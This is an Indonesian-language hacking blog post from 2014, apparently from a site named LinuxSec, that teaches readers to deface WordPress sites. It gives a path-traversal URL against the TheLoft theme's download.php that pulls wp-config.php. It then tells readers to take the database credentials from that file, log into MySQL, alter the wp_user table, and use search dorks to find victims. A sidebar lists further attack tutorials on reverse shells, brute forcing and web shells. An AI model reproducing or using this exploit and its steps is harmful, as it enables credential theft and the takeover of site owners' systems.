• Skip to primary navigation
  • Skip to main content
  • Skip to primary sidebar

LinuxSec Exploit

Nothing is Ever Locked

  • XSS Payloads
  • About Us

Deface WordPress dengan Exploit WordPress TheLoft Theme Arbitrary File Download Vulnerability

September 16, 2014 by Jack Wilder 1 Comment

Oke kali ini saya mau share exploit deface yang digunakan untuk deface wordpress. Namanya WordPress TheLoft Theme Arbitrary File Download Vulnerability. Termasuk exploit baru sih . Tinggal bagaimana dork yang kita gunakan .

Exploit :

  • http://localhost/wp-content/themes/TheLoft/download.php?file=../../../wp-config.php

Buka file wp-config.php nya, disitu ada user dan password untuk login database.

Sekian tutorial kali ini semoga bermanfaat.Jika db host nya localhost, cari yang lain lagi. cari yang pake url/server :p
Login MySQL, modif wp_user nya .

Shares

Filed Under: WordPress Exploit Tagged With: Exploit, Hacking

Reader Interactions

Comments

  1. Mr.error says

    October 27, 2020 at 9:49 am

    Dorknya mana kak

    Reply

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Primary Sidebar

Popular Post

bWAPP Remote File Inclusion Medium Security Level

Reverse Shell From Local File Inclusion Exploit

Bruteforce FTP Login dengan Metasploit Module FTP Authentication Scanner

WordPress Army Knife CSRF File Upload Vulnerability

Download 1n73ct10n / 1n73ction Privat Web Shell by X’1N73CT

Cara Mendapatkan RDP Gratis Dengan Shell Windows

Cracking FTP Password using Hydra on BackBox Linux

Deface WordPress dengan Exploit Themes Qualifire File Upload Vulnerability

Deface dengan Metode Timthumb Remote Code Execution

Tool Deface Opencart Bruteforce and Upload Image

Powered by WordPress and Genesis Framework. Style by LinuxSec.